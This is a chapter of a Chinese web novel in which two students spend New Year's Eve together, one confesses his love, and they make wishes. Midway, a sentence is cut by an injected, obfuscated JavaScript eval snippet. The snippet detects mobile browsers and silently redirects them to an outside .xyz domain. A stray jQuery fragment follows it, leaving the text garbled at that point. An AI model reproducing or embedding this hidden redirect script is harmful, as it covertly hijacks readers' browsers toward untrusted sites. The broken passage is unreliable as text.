钟表的分针缓缓转过了半圈,江晏和宁时已经玩了几轮真心话大冒险。


    江晏算是发现了,宁时这小子是看起来有分寸,但实际上是得寸进尺。


    话里话外间不停地试探,仗着今天日子特殊,江晏不想把他怎么样,问的问题越来越深了。


    从一开始的“饭好不好吃”,到“你打算去哪个城市上学”。


    从“你以后想买多大的房子”,到“你有没有喜欢的人”。


    这些问题还算好回答。


    江晏的回答是:


    好吃。


    考到哪里算哪里(实际上是江晏对这个世界还不熟悉)。


    比现在住的的房子大(宁时一边说这是废话一边露出了谜之幸福的微笑)。


    有(宁时的眼睛瞬间亮起来并追问)。


    江晏有意吊着他,道:“一局不是一个问题吗?”


    宁时:“……”


    江晏继续:“你已经问了一个问题了。”


    宁时笑着摇摇头,示意江晏继续下一轮游戏。


    结果在三次平局之后,又是宁时赢了。


    果然不出江晏所料,宁时继续了上次的问题。


    “所以你到底喜欢谁呢?”


    江晏眯了眯眼,开口:


    “你……”


    宁时看起来有点没反应过来,呆愣愣的,接着有笑意渐渐浮上眼底。


    江晏看着他的表情,故意来个一个大喘气:“还有呢。”


    他在宁时呆滞的表情中继续说下去:“还有楼下摊煎饼果子的阿姨,开羊肉馆的老板,还有周莉……”


    宁时嘴角疯狂抽搐。


    江晏眼神透着狡黠,他正准备继续说下去,却觉得眼前一黑。


    ——宁时突然探过身子,完完全全挡在了他面前。


    江晏:?


    他本能地察觉到了两人这个姿势的不对劲。


    宁时这样多少有点压迫感了,他需要微微仰头,才能和宁时的视线对上。


    可宁时的眼神却充满了无奈,和他现在的姿势并不相同。


    他用好听的声音低低对江晏说:“拜托你闭嘴吧。”


    确实没有压迫感,甚至有些卑微了。


    江晏便瞬间笑出了声。


    江晏感觉自己多少有点蹬鼻子上脸的天赋,宁时刚凑过来时,他还是害怕的;可宁时那句无奈的话一出口,江晏反而更想调侃他了。


    江晏笑嘻嘻道:“为什么让我闭嘴?”


    他看着不说话的宁时:“是因为我没有说到你喜欢听的东西吗?”


    接着又露出一个张扬的笑:“唔……让我猜猜看,你想听到什么呢?”


    宁时看他这副样子,也有的哭笑不得了,反问道:“你说呢?”


    江晏装傻:“啊哈?”


    宁时拍了拍他的肩膀:“别装傻了,啊。”


    江晏嘴硬:“我没有,你不说我怎么能知道你想听什么好听话。”


    接着,他肩膀上的那只手移到了脸上。


    江晏的脸被宁时捏着,面前,宁时的面孔在逐渐放大。


    江晏这次是有些慌了:“欸——你在干什么——”


    宁时用额头抵上了他的额头。


    这样一来,他们几乎是脸贴着脸,就连鼻尖也蹭到了一起。


    呼吸间都是对方温暖的吐息。


    这个姿势下,江晏的心绷了起来,自然也没有发觉宁时把捏在他脸上的手换成了捧的动作。


    宁时说话了,随着他的吐息,江晏感觉自己的鼻尖一热一凉的:“非要装傻吗,非要我这个样子吗?”


    “我想听你说喜欢我。”


    江晏试图挣扎抗议:“——我第一句话就说了!”


    宁时的声音带了一丝咬牙切齿:“我说的喜欢不是那个喜欢。”


    “是想和你以后一直一直生活在一起,共度余生的那种喜欢。”


    江晏有一瞬间晃神。


    他突然想到了合江宗的簌簌落叶,自己身后的攻玉剑,那滚滚而下的劫雷。


    还有那几个意味不明的梦。


    江晏张了张嘴,轻声说:“……我们本来就应该永远在一起的。”


    这时,屋里的钟表分针又转过了另一个半圈,与时针重合,停留在了“12”的位置。


    玻璃窗外,五色虹光划破夜色,天亮了。


    与之而来的是震得窗子微微颤动的连绵炮声。


    也湮没了江晏后半句话:


    “除了死亡,没有什么能把我们分开的东西了。”


    “我为你来到这个世界。”


    隆隆烟火声中,宁时渐渐松开了江晏,改成拉着江晏的手。


    刚刚经历了被摸脸的江晏:……


    拉手就拉手吧。


    至少不会摸脸了。


    宁时的脸色归于平静,好像刚在拉着江晏发疯的是另一个人。


    他平静的神色中依然有几分失落,显然没有听见江晏刚才小声说的话。


    江晏放心了——剑修习惯了高高在上要面子。


    要他主动对人说出真心话,简直比飞升还难。


    所以,宁时没有听见就没有听见吧,正好。


    江晏刚刚把内心的话说出来了,现在反而不知道说什么了。


    此时,宁时开口:“快十二点了。”


    江晏:“哈?”


    他惊讶于宁时好像什么都没有发生的态度。


    宁时装模作样地指了下手机:“还有半分钟。”


    江晏“哦”了一声:“怪不得突然这么多放炮的。”


    宁时点点头:“可以开始许愿了。”


    这是江晏从来没有听说过的说法:“新年也能许愿吗?”


    宁时明显被噎了一下,再开口时,声音也犹疑了:“……能吧。”


    不管能不能,他们这一耽误,十秒钟就出去了。


    江晏不欲在此事上多纠缠,便用另一只没有被拉着的手推了把宁时:“算了,赶紧想愿望,没几秒了。”


    宁时用手指碰了碰他的手指:“我已经想好了。”


    江晏:“嗯,我得想想。”


    江晏想,要许什么愿望呢?


    让宁时度过美好的一生?


    让自己早点结束这个世界?


    还是解决分魂的事,在原世界一举突破?


    ……


    太多了。


    更何况他本来就是这个世界的过客,这个世界会回应一个外来者的心愿吗?


    面前,手机放映的节目中,最后十秒的倒计时已经走了一半。


    江晏闭上了眼。


    还是许一个愿望吧,有便宜不占白不占。


    万一愿望实现了呢?


    在旧年的最后三秒钟里,江晏再次睁开了眼。


    他看着天空中绽开的巨大重瓣菊花,心想:


    希望我能好好活着。


    江晏对自己这个看似朴实的愿望非常满意。


    好好活着,意味着他能顺利搞定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902343|160119||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和宁时有关的各个小世界。


    意味着他能顺利回到原世界。


    还意味着他在那几道把他劈散了的劫雷下顺利突破。


    新年的钟声敲响。


    屏幕内和窗外的热闹上升了一个度。


    宁时在他面前似乎说了什么,但江晏只能看到他嘴唇动了动。


    声音什么的,全都听不清。


    但江晏根据猜测,和宁时的唇形,看懂了。


    那是一句“新年快乐”。


    江晏便主动向宁时的方向挪了挪。


    这样一来,他们拉着手,肩挨着肩。


    江晏在宁时耳边大声说:“新年快乐!”


    宁时看着他的脸,笑了。


    又把另一只手伸过来,拨了拨江晏额前有些乱了的碎发。


    离得近了,这次江晏能听清楚宁时说的话:


    “新年的每一天都要快乐。”


    对于高三学生而言,熬夜到十二点并不是什么困难的事。


    两个人没什么困意。


    桌上的饭菜吃得差不多了,江晏跟着宁时收拾着。


    在鞭炮声的间隙里,能听见厨房传来哗哗的水声。


    江晏和宁时围在洗手台,洗着碗。


    啾啾给江晏安排的房子确实旧了,安的热水器是老式的。


    一个电箱挂在墙上,时不时发出嗡楞嗡楞的声音,那是在烧水。


    由于机器限制,能加热的水有限,因此,两人感受到的水温也是忽冷忽热的。


    一会儿是把毛细血管都涨开的温度,一会儿又冻得手疼。


    一冷一热,江晏在手的胀痒中,呲牙咧嘴地捞起饺子盘。


    又被宁时接了过去:“给我吧,一看你就不会干活。”


    江晏礼节性地往回拽了拽盘子,最后任由宁时拿走了,嘴上却说:“我怎么不会干活了。”


    宁时笑了笑,没有回答。


    江晏便低下头,看着宁时的手在流水中有些泛红。


    他知道宁时是找了个借口,把洗盘子的活承担下来了。


    水声哗哗。


    过了十二点,外面明显没有之前那么热闹了,在室外跨年的人也陆续回了家。


    残雪上薄薄积了一层红色的炮纸,被路灯映成了橘红色。


    江晏和宁时收拾好了他们的小窝。


    此时已经是零点四十了。


    江晏:“睡吗?”


    宁时想了想:“……都行。”


    江晏想到了什么:“你初一不是要回家嘛,要早起,早点睡吧。”


    宁时慢吞吞道:“其实明天晚上去一下也是去了。”


    江晏推了他一把:“不行,你上午去吧。”


    又补充道:“都是大年去拜年,好好表现一下哈。”


    宁时点了点头。


    他们在新的一年里入睡。


    第二天,江晏一觉睡到了自然醒。


    他下意识去扒拉宁时,却发现身边已经空了。


    江晏心里说不出是什么滋味,向啾啾控诉:“……这孩子怎么不打招呼就走了。”


    啾啾无语:“首先,你这个语气真的很像怨妇。”


    接着抢在江晏骂它之前,气也不换:“而且,现在已经上午十点了,不早了。”


    房门口似乎传来了其他声音。


    江晏和啾啾一同看过去。


    啾啾看着那道人影,发出了最后一点吐槽:


    “呃,最后,人家根本还没有出发呢。”